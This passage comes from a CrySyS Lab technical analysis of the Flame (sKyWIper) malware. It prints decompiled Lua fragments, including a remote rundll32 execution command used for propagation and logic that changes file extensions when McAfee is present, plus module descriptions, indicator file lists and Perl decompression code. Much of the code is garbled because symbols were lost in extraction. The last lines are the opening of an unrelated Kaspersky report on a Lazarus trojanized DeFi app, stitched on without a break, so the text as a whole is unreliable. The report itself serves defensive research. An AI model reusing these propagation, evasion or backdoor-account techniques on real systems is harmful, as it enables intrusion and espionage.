if userVer  1 or userVer  2 then l_26_0:exec(\n ALTER TABLE entities ADD COLUMN tool_id INTEGER NULL\n ALTER TABLE entities ADD COLUMN first_update_dt DATETIME INTEGER NULL\n ALTER TABLE entities ADD COLUMN last_update_dt  DATETIME INTEGER NULL\n ALTER TABLE entities ADD COLUMN last_ip_update_dt DATETIME INTEGER NULL\n ALTER TABLE metadata ADD COLUMN first_update_dt DATETIME INTEGER NULL\n ALTER TABLE metadata ADD COLUMN last_update_dt DATETIME INTEGER NULL\n ALTER TABLE attack_log ADD COLUMN home_id INTEGER NULL\n ALTER TABLE attack_log ADD COLUMN date_dt DATETIME INTEGER NULL\n ALTER TABLE attack_queue ADD COLUMN min_attack_interval INTEGER NULL\n ALTER TABLE attack_queue ADD COLUMN home_id INTEGER NULL\n            ALTER TABLE attack_queue ADD COLUMN last_try_date_dt DATETIME INTEGER NULL\n ALTER TABLE attack_queue ADD COLUMN igno re_max BOOLEAN INTEGER NOT NULL  DEFAULT 0\n\n\t\t\tCREATE TABLE IF NOT EXISTS cruise_attack_log (\n\t\t\t  log_id INTEGER NOT NULL REFERENCES attack_log(line_id),\n\t\t\t  user_sid TEXT NOT NULL,\n\t\t\t  usersKyWIper TEXT NULL\n\t\t\t)\n\n \t\t\tCREATE TABLE IF NOT EXISTS options_per_entity (\n\t\t\t  entity_id INTEGER NOT NULL,\n\t\t\t  attack_type TEXT NOT NULL,\n\t\t\t  cred_id INTEGER NULL,\n\t\t\t  retries_left INTEGER NULL\n\t\t\t)\n\n            CREATE TABLE IF NOT EXISTS  attack_params (\n                  attack_queue_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n value NUMERIC NULL,\n\n PRIMARY KEY(attack_queue_id, name)\n            )) Figure 42  ClanDB update if version is too old There are a number of names and phrases in the database used in the code of the malware.
Deeper analysis is needed to fully understand all these references.
Here, we include the result of our initial investigation with a note that these interpretations might not be correct.
Boost: Possibly information gathering based on enquiries received from remote parties.
Flame:  Common name for attacks, most likely by exploits.
Ef_trace.txt relation.
temp\dat3C.tmp and systemroot\\temp\\msdclr64.ocx related.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  45 Flask:  Attacks can be Jimmy or Flask.
Probably Flask is one flame.
Not sure.
Jimmy:  A specific CLAN attack type, but also a flame.
CLAN probably refers to a local network attack while flame can be anything.
Based on dll: c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\inds vc32.pdb reference can be found in it Movefile: No information Munch: Installation/propagation mechanism related to windows update and web downloads.
Strings and possibly code can be found in mscrypt.dat MUNCH.GENERIC_BUFFERS.4.data.
PATTERN ?
/windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WUClient-SelfUpdate- ActiveX31bf3856ad364e35x867.0.6000.381.cab?
?
v6/windowsupdate/redir/wuredir.cab v7/windowsupdate/redir/wuredir.cab v8/windowsupdate/redir/muv3wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab VISTA_7_VERSION_S /version_s.xml MUIDENT muident.cab /windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/wsus3setup.cab download.windowsupdate.com/v6/windowsupdate/?/SelfUpdate/AU/x86/XP/en/wusetup.cab /v9/windowsupdate/?/SelfUpdate/AU/x86/W2KSP2//wusetup.cab /v9/windowsupdate/?/?elf?pdate/WSUS3/x86/Other/wsus3setup.cab v7/windowsupdate/redir/wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab Figure 43  Munch attack related interesting strings SFS:  Storage files.
Some DAT files, like ntcache.dat, lmcache.dat.
Snack:  Related to Munch attack, possibly part of local propagation by exploit.
Spotter: Possibly some scanner Transport: Replication method.
Exploit-based propagation is most likely called flame, while that based on bad access permissions is a Transport.
E.g.
NU or NUSystem refers to net use way of propagation.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  46 obj.
REMOTE_PATH_TEMPLATES  temp  string.format(\\\\s\\admin\\temp, l_4_0.tgt), systemroot  string.format(\\\\s\\admin, l_4_0.tgt), commonprogramfiles  string.format(\\\\s\\s\\Program Files\\Common Files, l_4_0.tgt, remoteSystemDrive) obj.REMOTE_PATH_TEMPLATES.windir  obj.REMOTE_PATH_TEMPLATES.systemroot obj.
REMOTE_LOCAL_PATH_TEMPLATES  temp  ..\\temp Figure 44  Net use based propagation targets get configured Euphoria: EuphoriaApp handling.
Related to a Flame attack.
Related to mediaId.
Possibly file leaking after successful attack.
BUENO_FLAME_DLL_KEY  pointer to a large 1 MB binary in wpgfilter.dat CONFIG_TABLE :  Referred from Lua code for configuration directives.
Contains lot of parameters for attacks.
Not sure which configuration is that.
Headache: Related to multiple attacks, possibly additional parameters or properties of the attacks.
Multiple phrases are related to animals in the malware: Gator:  Windowsupdate based internet-check.
If everything successful, things go on.
If not, then there is a minimum and maximum waiting time defined, and a multiplier to increase retries slowly.
Goat: Possibly CC communications to GOAT servers Frog:  ?
?
Beetlejuice: ?
?
Microbe: ?
?
Weasel: ?
?
Great work is going on the topic on 30/05 new information was published by Kasperksy Its available at https://www.securelist.com/en/blog?weblogid208193538w208193538 We updated this document to reflect up-to-date information on 30/05/2012.
So from Kaspersky: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  47 Here is a brief overview of the available units.
The names were extracted from the binary and the 146 resource.
Beetlejuice Bluetooth: enumerates devices around the infected machine.
May turn itself into a beacon: announces the computer as a discoverable device and encode the status of the malware in device information using base64.
Microbe Records audio from existing hardware sources.
Lists all multimedia devices, stores complete device configuration, tries to select suitable recording device.
Infectmedia Selects one of the methods for infecting media, i.e.
USB disks.
Available methods: Autorun_infector, Euphoria.
Autorun_infector Creates autorun.inf that contains the malware and starts with a custom open command.
The same method was used by Stuxnet before it employed the LNK exploit.
Euphoria Create a junction point directory with desktop.ini and target.lnk from LINK1 and LINK2 entries of resource 146 (were not present in the resource file).
The directory acts as a shortcut for launching Flame.
Limbo Creates backdoor accounts with login HelpAssistant on the machines within the network domain if appropriate rights are available.
Frog Infect machines using pre-defined user accounts.
The only user account specified in the configuration resource is HelpAssistant that is created by the Limbo attack.
Munch HTTP server that responds to /view.php and /wpad.dat requests.
Snack Listens on network interfaces, receives and saves NBNS packets in a log file.
Has an option to start only when Munch is started.
Collected data is then used for replicating by network.
Boot_dll_loader Configuration section that contains the list of all additional modules that should be loaded and started.
Weasel Creates a directory listing of the infected computer.
Boost Creates a list of interesting files using several filename masks.
Telemetry Logging facilities Gator When an Internet connection becomes available, it connects to the CC servers, downloads new modules, and uploads collected data.
Security Identifies programs that may be hazardous to Flame, i.e., anti-virus programs and firewalls.
Bunny Dbquery Driller Headache Gadget The purpose of these modules is not yet known.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  48 6.1.
Some interesting Lua scripts inside the code CRUISE_CRED.lua The script gathers credential information from an already infected machine.
More precisely, it cruises all the token objects to find the ones belong to the administrator or the Administrators, Domain Admins groups.
If it is successful, it updates cruiseAttackLog in the CLAN database by means of the user sd and the user name.
For more information, please see the Tables creds and cruise_attack_log in Figure 48.
basic_info_app.lua The script gathers basic information about an infected computer such as the flame version it has been infected with, the computer name, the ip address of the machine.
Furthermore, it books various parameters about the nature of information leak (e.g., AVERAGE_LEAK_BANDWIDTH, LAST_LEAK_TO_INTERNET, MEDIA_LEAKS_FROM_THIS_ COMPUTER, etc).
Note that the FLAME_VERSION parameter must have been used to avoid the reinfection of the same computer and also to update flame if it is neccessary.
clan_seclog.lua The script parses the Security log by searching for certain event Ids and retrieves the correspondig username and ip information from it.
It is supposedly used to collect information about the traces of infection, or the credentials and source IPs used to authenticate to the infected machine.
The script examines the following event Ids, where the corresponding log entries store the required pieces of information (Account Name, User Name and IP address) Event Id: 540  Refers to successful network logon.
Among various parameters the log stores the User Name and Source Network Address as well.
Event Id: 672  Refers to Authentication Ticket Granted Audit event.
In case of Windows, the Kerberos authentication uses the optional pre-authentication phase before issuing an authentication ticket by checking the credentials of the client.
If the client successfully authenticated to the workstation, Windows puts a log entry with event id 672 into the Security log in order to demonstrate the successful initial logon event.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  49 Event Id 673:  - Refers to Service Ticket Granted Audit event.
Once the authentication ticket is granted a service ticket have to be gained.
If it is so, the client could successfully logon to the domain, and Windows puts a log entry with the 673 event Id to the Security Log.
Event Id 680: - Refers to Account Used for Logon by: authentication package .
json.lua: json related string functions only casafety.lua: CLANattack safety tries to find out processes, registry information and similar related to  ESET, KAV, McAfee, TrendMicro, and list from THREATENING_ PROGRAMS.
Basically its used to get information on how secure is to use the host from the perspective of the attacker.
Some file names that are referred from code: ATTACK_FLAME_STARTLEAK:  uses temp\\txqvsl.tmp ATTACKOP_FLASK_PRODS: uses temp\\mso2a2.tmp ATTACKOP_JIMMY_PRODS: uses temp\\dra53.tmp 4784.dll creates the dra52.tmp and a29.tmp ATTACKOP_JIMMY.lua: ctx.exec:exec(cmdLine  ctx.transport:expandLocal(string.format(cmd /c cd \temp\ (if exist \s\ start /wait rundll32 \s\,s)move /y \_systemroot\\temp\\dra52.tmp\ \dra53.tmp\ del /q \s\, remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo  confPath  LUA.CLAN.JIMMY_MOF, fn  svchost1ex.mof) Below is a description of the attack DLL files used in the Jimmy attack.
00004784.dll  jimmy.dll  contains resource 164 BIN -Resource 164 - 60kbyte file, lot of 0x00 bytes, sparse information  - contains extensions and string Comodo - encrypted 00005729.dll 00006411.dll 00004069.exe Figure 45  Internal executables/DLLs found in mssecmgr (main module) ATTACKOP_FLAME.luac ATTACKOP_FLAME_PRODS.luac ATTACKOP_FLAME_STARTLEAK.luac ATTACKOP_FLASK.luac ATTACKOP_FLASK_PRODS.luac ATTACKOP_JIMMY.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  50 ATTACKOP_JIMMY_PRODS.luac ATTACKOP_MOVEFILE.luac ATTACKOP_RUNDLL.luac CRUISE_CRED.luac IMMED_ATTACK_ACTION.luac MUNCH_ATTACKED_ACTION.luac MUNCH_SHOULD_ATTACK.luac NETVIEW_HANDLER.luac NETVIEW_SPOTTER.luac REG_SAFETY.luac RESCH_EXEC.luac SECLOG_HANDLER.luac SECLOG_SPOTTER.luac SNACK_BROWSER_HANDLER.luac SNACK_ENTITY_ACTION.luac SNACK_NBNS_HANDLER.luac STD.luac SUCCESS_FLAME.luac SUCCESS_FLAME_STARTLEAK.luac SUCCESS_GET_PRODS.luac TRANSPORT_NUSYSTEM.luac TRANSPORT_NU_DUSER.luac USERPASS_CRED.luac WMI_EXEC.luac WMI_SAFETY.luac attackop_base_prods.luac attackop_base_sendfile.luac basic_info_app.luac casafety.luac clan_entities.luac clan_seclog.luac euphoria_app.luac event_writer.luac fio.luac flame_props.luac get_cmd_app.luac inline_script.luac (possibly multiple) json.luac leak_app.luac libclanattack.luac libclandb.luac libcommon.luac libdb.luac libflamebackdoor.luac liblog.luac libmmio.luac libmmstr.luac libnetutils.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  51 libplugins.luac libwmi.luac main_app.luac payload_logger.luac post_cmd_app.luac rts_common.luac storage_manager.luac table_ext.luac transport_nu_base.luac Figure 46  List of LUA scripts found in sKyWIper 6.2.
Related files 0004784.dll (Jimmy.dll) 0004784.dll is part of the Jimmy attack hence we use the name jimmy.dll.
It contains the string c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\i ndsvc32.pdb.
0004784.dll (jimmy.dll) can be extracted from decompressed resource 146 at position 0x2561F3.
By running the jimmy.dll with rundll32 jimmy.dll, QDInit, it starts to produce files a29.tmp and dra52.tmp.
(
QDInit  Quick Disk Inspection?)
Related information can be found in lua files: ATTACKOP_JIMMY.lua:        ctx.exec:exec(cmdLine ctx.transport:expandLocal(string.format(cmd /c cd \temp\ (if exist \s\ start /wait rundll32 \s\,s)move /y \_systemroot\\temp\\dra52.tmp\ \dra53.tmp\ del /q \s\, remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo  confPath LUA.CLAN.JIMMY_MOF, fn  svchost1ex.mof) Figure 47  Jimmy temp files reference in Lua script ATTACKOP_JIMMY.lua The produced dra52.tmp in our samples contained around 580 byte compressed data (PPMd) on some partial file listings related information of some (5-10) files of the file system.
The remaining data is compressed or encrypted.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  52 Most likely jimmy.dll is capable to grab screenshots and other modules perform other information stealing tasks.
If we run the jimmy.dll manually with rundll32, a29.tmp contains 12 bytes, bytes pos 0x4- 0x7 are different on different systems, other bytes match.
00004069.exe 00004069.exe registers itself under the name Windows Management Instrumentation Configurator, and contains references to windir\system32\rdcvlt32.exe temp\sl84.tmp WinInit.
INI and other files.
6.3.
SQLite table structure of CLAN DB Attack and other information is stored in SQLite and unknown CLAN databases.
The dstrlog structure is described below.
It appears unusual to use databases to store attack related information inside the malware, but apparently this is the case: mssecmgr.dll contains DB2 ODBC references inside (unknown goal) and attack strings contain Oracle references as well (most likely for information gathering).
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  53 Figure 48 dstrlog structure, part 1 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  54 Figure 49 dstrlog structure, part 2 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  55 Figure 50 dstrlog structure, part 3 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  56 7.
Evasion techniques 7.1.
Security programs relation The authors took extra precautions to evade detection by security products.
The list is so comprehensive it is rarely seen.
A very similar list can be found in the ccalc32drv.sys file, where table DangerousProcesses contains 346 items.
We do not disclose the list as it could serve other malware authors for their goals.
7.2.
Design choices and tricks It can clearly be seen that this malware was continuously developed over a long time period and it employs several tricks to evade security products.
For example, the extensions are chosen according to the detected anti-malware products.
We found that the malware usually uses the .ocx extension, but this decision is based on how to get best under the radar.
In case of McAfee McShield installed, the preferred extension is changed to .tmp as seen in the decompiled code segment below.
Transport.getPreferredDLLExtension  function(l_10_0) local remoteProcs  l_10_0.ctx.remoteSafety:procList() local gotMcShield  false for pid,exe in pairs(remoteProcs) do if string.lower(exe)  mcshield.exe then gotMcShield  true else end end if gotMcShield then log.writeEx(-1453109576, 189173052, log.colons(tostring(l_10_0.ctx.tgt), tmp)) return tmp else return ocx end end Figure 51  Extension selection based on active A/V system Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  57 7.3.
Malwares own files list sKyWIper puts its own files on a whitelist.
Extra care should be taken of these files and constants, and they should possibly be put into IDS/IPS signatures: preg.exe ntcache.dat lmcache.dat rccache.dat dcomm.dat dmmsapi.dat dra52.tmp commgr32 target.lnk ccalc32.sys authentication packages zff042 urpd.ocx Pcldrvx.ocx KWI guninst32 HLV DEB93D.tmp lib.ocx lss.ocx DEB83C.tmp stamn32 dra53.tmp nteps32 cmutlcfg.ocx DFL983.tmp DF05AC8.tmp DFD85D3.tmp a29.tmp dsmgr.ocx f28.tmp desc.ini fib32.bat d43a37b.tmp dfc855.tmp Ef_trace.log contents.btr wrm3f0 scrcons.exe wmiprvse.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  58 wlndh32 mprhlp kbdinai services.exe ZLM0D1.ocx ZLM0D2.ocx sstab m4aaux.dat explorer.exe gppref32.exe inje svchost iexplore SeCEdit nms534 Windows Authentication Client Manager Windows NT Enhanced Processing Service rcf0 rcj0 Figure 52 Strings found in winlogon memory dump Ccalc32drv.sys contains configuration settings for the malware.
A part of it is a table Exposureindicating which should most likely mostly relate to the malwares own files.
ExposureIndicating.1 audcache ExposureIndicating.2 audfilter.dat ExposureIndicating.3n ia33.tmp ExposureIndicating.4 commgr32 ExposureIndicating.5 nteps32 ExposureIndicating.6 f28.tmp ExposureIndicating.7 dsmgr.ocx ExposureIndicating.8 nms534 ExposureIndicating.9 m4aaux.dat ExposureIndicating.10 mpgaud.dat ExposureIndicating.11 msaudio ExposureIndicating.12 mspbee32 ExposureIndicating.13 a49.tmp ExposureIndicating.14 mssvc32.ocx ExposureIndicating.15 a38.tmp ExposureIndicating.16 MSAudio ExposureIndicating.17 boot32drv.sys ExposureIndicating.18 wave9 ExposureIndicating.19 wavesup3.drv ExposureIndicating.20 wpgfilter.dat ExposureIndicating.21 MSSecurityMgr ExposureIndicating.22 ssitable ExposureIndicating.23 mssecmgr.ocx ExposureIndicating.24 modevga.com Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  59 ExposureIndicating.25 soapr32.ocx ExposureIndicating.26 indsvc32.ocx ExposureIndicating.27 mso2a0.tmp ExposureIndicating.28 mso2a2.tmp ExposureIndicating.29 netprot32 ExposureIndicating.30 mssui.drv ExposureIndicating.31 preg.exe ExposureIndicating.32 ntcache.dat ExposureIndicating.33 lmcache.dat ExposureIndicating.34 rccache.dat ExposureIndicating.35 dcomm.dat ExposureIndicating.36 dmmsapi.dat ExposureIndicating.37 authentication packages ExposureIndicating.38 zff042 ExposureIndicating.39 indsvc32b.ocx ExposureIndicating.40 dra52.tmp ExposureIndicating.41 KWI ExposureIndicating.42 ccalc32.sys ExposureIndicating.43 HLV ExposureIndicating.44 urpd.ocx ExposureIndicating.45 lib.ocx ExposureIndicating.46 lss.ocx ExposureIndicating.47 target.lnk ExposureIndicating.48 stamn32 ExposureIndicating.49 guninst32 ExposureIndicating.50 DEB13DE.tmp ExposureIndicating.51 Pcldrvx.ocx ExposureIndicating.52 nddesp32.ocx ExposureIndicating.53 cmutlcfg.ocx ExposureIndicating.54 DEB93D.tmp ExposureIndicating.55 DEB83C.tmp ExposureIndicating.56 dra53.tmp ExposureIndicating.57 DFL983.tmp ExposureIndicating.58 a29.tmp ExposureIndicating.59 DF05AC8.tmp ExposureIndicating.60 DFD85D3.tmp ExposureIndicating.61 d43a37b.tmp ExposureIndicating.62 wrm3f0 ExposureIndicating.63 desc.ini ExposureIndicating.64 Ef_trace.log ExposureIndicating.65 wlndh32 ExposureIndicating.66 mprhlp ExposureIndicating.67 kbdinai ExposureIndicating.68 contents.btr ExposureIndicating.69 fib32.bat ExposureIndicating.70 sstab ExposureIndicating.71 scrcons.exe ExposureIndicating.72 wmiprvse.exe ExposureIndicating.73 services.exe ExposureIndicating.74 explorer.exe ExposureIndicating.75 inje ExposureIndicating.76 svchost ExposureIndicating.77 gppref32.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  60 ExposureIndicating.78 dfc855.tmp ExposureIndicating.79 SeCEdit ExposureIndicating.80 DefaultEnvironment ExposureIndicating.81 LastUsedIdentifier ExposureIndicating.82 Windows Authentication Client Manager ExposureIndicating.83 Windows NT Enhanced Processing Service ExposureIndicating.84 rcf0 ExposureIndicating.85 rcj0 ExposureIndicating.86 ZLM0D1.ocx ExposureIndicating.87 ZLM0D2.ocx ExposureIndicating.88 Delayed Write Failed ExposureIndicating.89 iexplore ExposureIndicating.90 cgi-bin\counter.cgi ExposureIndicating.91 Mon.com ExposureIndicating.92 Mon.exe ExposureIndicating.93 ekz167.tmp ExposureIndicating.94 zwp129.tmp ExposureIndicating.95 dfc634.tmp ExposureIndicating.96 dfc551.tmp ExposureIndicating.97 dfc412.tmp ExposureIndicating.98 tftp.exe ExposureIndicating.99 csvde.exe ExposureIndicating.100 dstrlog.dat ExposureIndicating.101 dstrlogh.dat ExposureIndicating.102 ZFF ExposureIndicating.103 ZLM ExposureIndicating.104 PCY ExposureIndicating.105 Firefox\profiles ExposureIndicating.106 advnetcfg ExposureIndicating.107 hub001.dat ExposureIndicating.108 hub002.dat ExposureIndicating.109 .MSBTS ExposureIndicating.110 D:\.. ExposureIndicating.111 E:\.. ExposureIndicating.112 F:\.. ExposureIndicating.113 G:\.. ExposureIndicating.114 H:\.. ExposureIndicating.115 watchxb.sys ExposureIndicating.116 ntaps.dat ExposureIndicating.117 netcfgi.ocx ExposureIndicating.118 advpck.dat ExposureIndicating.119 Advanced Network Configuration ExposureIndicating.120 commgr32.dll ExposureIndicating.121 comspol32.dll ExposureIndicating.122 rf288.tmp ExposureIndicating.123 msglu32.ocx ExposureIndicating.124 Windows Indexing Service ExposureIndicating.125 Remote Procedure Call Namespace Client ExposureIndicating.126 rpcnc.dat ExposureIndicating.127 sndmix.drv ExposureIndicating.128  fmpidx.bin ExposureIndicating.129 tokencpt ExposureIndicating.130 Windows Client Manager ExposureIndicating.131 secindex Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  61 ExposureIndicating.132 mixercfg.dat ExposureIndicating.133 audtable.dat ExposureIndicating.134 mixerdef.dat ExposureIndicating.135 MSSndMix ExposureIndicating.136 MSAuthCtrl ExposureIndicating.137 authpack.ocx ExposureIndicating.138 posttab.bin ExposureIndicating.139 lrlogic ExposureIndicating.140 lmcache.dat ExposureIndicating.141 ctrllist.dat ExposureIndicating.142 authcfg.dat ExposureIndicating.143 dcomm ExposureIndicating.144 dmmsapi Figure 53  List of the malwares configuration settings  most likely contains the malwares own files Possible other related parts from different sources: SUICIDE.RESIDUAL_FILES.A [NoValue]-temp\a28.tmp SUICIDE.RESIDUAL_FILES.B [NoValue]-temp\DFL542.tmp SUICIDE.RESIDUAL_FILES.C [NoValue]-temp\DFL543.tmp SUICIDE.RESIDUAL_FILES.D [NoValue]-temp\DFL544.tmp SUICIDE.RESIDUAL_FILES.E [NoValue]-temp\DFL545.tmp SUICIDE.RESIDUAL_FILES.F [NoValue]-temp\DFL546.tmp SUICIDE.RESIDUAL_FILES.G [NoValue]-temp\dra51.tmp SUICIDE.RESIDUAL_FILES.H [NoValue]-temp\dra52.tmp SUICIDE.RESIDUAL_FILES.I [NoValue]-temp\fghz.tmp SUICIDE.RESIDUAL_FILES.J [NoValue]-temp\rei524.tmp SUICIDE.RESIDUAL_FILES.K [NoValue]-temp\rei525.tmp SUICIDE.RESIDUAL_FILES.L [NoValue]-temp\TFL848.tmp SUICIDE.RESIDUAL_FILES.M [NoValue]-temp\TFL842.tmp SUICIDE.RESIDUAL_FILES.O [NoValue]-temp\GRb2M2.bat SUICIDE.RESIDUAL_FILES.P [NoValue]-temp\indsvc32.ocx SUICIDE.RESIDUAL_FILES.Q [NoValue]-temp\scaud32.exe SUICIDE.RESIDUAL_FILES.R [NoValue]-temp\scsec32.exe SUICIDE.RESIDUAL_FILES.S [NoValue]-temp\sdclt32.exe SUICIDE.RESIDUAL_FILES.T [NoValue]-temp\sstab.dat SUICIDE.RESIDUAL_FILES.U [NoValue]-temp\sstab15.dat SUICIDE.RESIDUAL_FILES.V [NoValue]-temp\winrt32.dll SUICIDE.RESIDUAL_FILES.W [NoValue]-temp\winrt32.ocx SUICIDE.RESIDUAL_FILES.X [NoValue]-temp\wpab32.bat SUICIDE.RESIDUAL_FILES.T [NoValue]-windir\system32\commgr32.dll SUICIDE.RESIDUAL_FILES.A1 [NoValue]-windir\system32\comspol32.dll SUICIDE.RESIDUAL_FILES.A2 [NoValue]-windir\system32\comspol32.ocx SUICIDE.RESIDUAL_FILES.A3 [NoValue]-windir\system32\indsvc32.dll SUICIDE.RESIDUAL_FILES.A4 [NoValue]-windir\system32\indsvc32.ocx SUICIDE.RESIDUAL_FILES.A5 [NoValue]-windir\system32\modevga.com SUICIDE.RESIDUAL_FILES.A6 [NoValue]-windir\system32\mssui.drv SUICIDE.RESIDUAL_FILES.A7 [NoValue]-windir\system32\scaud32.exe SUICIDE.RESIDUAL_FILES.A8 [NoValue]-windir\system32\sdclt32.exe SUICIDE.RESIDUAL_FILES.A2 [NoValue]-windir\system32\watchxb.sys SUICIDE.RESIDUAL_FILES.A10 [NoValue]-windir\system32\winconf32.ocx SUICIDE.RESIDUAL_FILES.A11 [NoValue]-windir\system32\mssvc32.ocx Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  62 SUICIDE.RESIDUAL_FILES.A12 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSSecurityMgr\rccache.dat SUICIDE.RESIDUAL_FILES.A13 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSSecurityMgr\dstrlog.dat SUICIDE.RESIDUAL_FILES.A14 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSAudio\dstrlog.dat SUICIDE.RESIDUAL_FILES.A15 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSSecurityMgr\dstrlogh.dat SUICIDE.RESIDUAL_FILES.A16 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSAudio\dstrlogh.dat SUICIDE.RESIDUAL_FILES.A17 [NoValue]-SYSTEMROOT\Temp\8C5FF6C.tmp SUICIDE.RESIDUAL_FILES.A18 [NoValue]-windir\system32\sstab0.dat SUICIDE.RESIDUAL_FILES.A12 [NoValue]-windir\system32\sstab1.dat SUICIDE.RESIDUAL_FILES.A20 [NoValue]-windir\system32\sstab2.dat SUICIDE.RESIDUAL_FILES.A21 [NoValue]-windir\system32\sstab3.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]-windir\system32\sstab4.dat SUICIDE.RESIDUAL_FILES.A23 [NoValue]-windir\system32\sstab5.dat SUICIDE.RESIDUAL_FILES.A24 [NoValue]-windir\system32\sstab6.dat SUICIDE.RESIDUAL_FILES.A25 [NoValue]-windir\system32\sstab7.dat SUICIDE.RESIDUAL_FILES.A26 [NoValue]-windir\system32\sstab8.dat SUICIDE.RESIDUAL_FILES.A27 [NoValue]-windir\system32\sstab2.dat SUICIDE.RESIDUAL_FILES.A28 [NoValue]-windir\system32\sstab10.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]-windir\system32\sstab.dat SUICIDE.RESIDUAL_FILES.B1 [NoValue]-temp\HLV751.tmp SUICIDE.RESIDUAL_FILES.B2 [NoValue]-temp\KWI288.tmp SUICIDE.RESIDUAL_FILES.B3 [NoValue]-temp\KWI282.tmp SUICIDE.RESIDUAL_FILES.B4 [NoValue]-temp\HLV084.tmp SUICIDE.RESIDUAL_FILES.B5 [NoValue]-temp\HLV224.tmp SUICIDE.RESIDUAL_FILES.B6 [NoValue]-temp\HLV227.tmp SUICIDE.RESIDUAL_FILES.B7 [NoValue]-temp\HLV473.tmp SUICIDE.RESIDUAL_FILES.B8 [NoValue]-windir\system32\nteps32.ocx SUICIDE.RESIDUAL_FILES.B2 [NoValue]-windir\system32\advnetcfg.ocx SUICIDE.RESIDUAL_FILES.B10 [NoValue]-windir\system32\ccalc32.sys SUICIDE.RESIDUAL_FILES.B11 [NoValue]-windir\system32\boot32drv.sys SUICIDE.RESIDUAL_FILES.B12 [NoValue]-windir\system32\rpcnc.dat SUICIDE.RESIDUAL_FILES.B13 [NoValue]-windir\system32\soapr32.ocx SUICIDE.RESIDUAL_FILES.B14 [NoValue]-windir\system32\ntaps.dat SUICIDE.RESIDUAL_FILES.B15 [NoValue]-windir\system32\advpck.dat SUICIDE.RESIDUAL_FILES.B16 [NoValue]-temp\rf288.tmp SUICIDE.RESIDUAL_FILES.B17 [NoValue]-temp\dra53.tmp SUICIDE.RESIDUAL_FILES.B18 [NoValue]-systemroot\system32\msglu32.ocx SUICIDE.RESIDUAL_FILES.C1 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSAuthCtrl\authcfg.dat SUICIDE.RESIDUAL_FILES.C2 [NoValue]-COMMONPROGRAMFILES\Microsoft Shared\MSSndMix\mixercfg.dat Figure 54  SUICIDE RESIDUAL FILES  probably also malware related (to691.tmp) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  63 Possible other related parts from different sources: windir\system32\comspol32.dll ?
DisableRSO  found in res146 in F compression maybe the same as nteps32 windir\system32\commgr32.dll ?
DisableRTA  The same as for comspol32.dll Figure 55 Winlogon.exe with injected code working with ccalc32.sys  procmon Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  64 ANNEX Here we give some hint on implementing functions for which we had problems.
The typical example is encryption, where it is very important which parameters and implementation are in use, and what type of header should exist for the successful decompression.
Again, we dont want to show best practice, we want to show at least one successful way to work with the sample.
load sample into bufall use Compress::Zlib sub FlatDecoding my (str)  _ my ret  split(, str) my (k, err)  inflateInit( -Bufsize  1) my (ret,z,status)  (,,0) foreach (ret) (z, status)  k-inflate(_) ret .
z last if status  Z_STREAM_END or status  Z_OK  return ret  bufall2FlatDecoding(bufall) ..save bufall2 Figure 56  F/Inflate/Flate decompression  PERL sample code copied from the net load sample into bufall use Compress::PPMd my decoderCompress::PPMd::Decoder-new() my bufall2decoder-decode(substr(bufall,4)) not be decompressed ..save bufall2 Figure 57 PPMd decompression  PERL sample code copied from the net
1/8 Lazarus Trojanized DeFi app for delivering malware securelist.com/lazarus-trojanized-defi-app/106195 Authors GReAT For the Lazarus threat actor, financial gain is one of the prime motivations, with a particular emphasis on the cryptocurrency business.
As the price of cryptocurrency surges, and the popularity of non-fungible token (NFT) and decentralized finance (DeFi) businesses continues to swell, the Lazarus groups targeting of the financial industry keeps evolving.
We recently discovered a Trojanized DeFi application that was compiled in November 2021.
This application contains a legitimate program called DeFi Wallet that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed.
This malware is a full- featured backdoor containing sufficient capabilities to control the compromised victim.
After looking into the functionalities of this backdoor, we discovered numerous overlaps with other tools used by the Lazarus group.
The malware operator exclusively used compromised web servers located in South Korea for this attack.
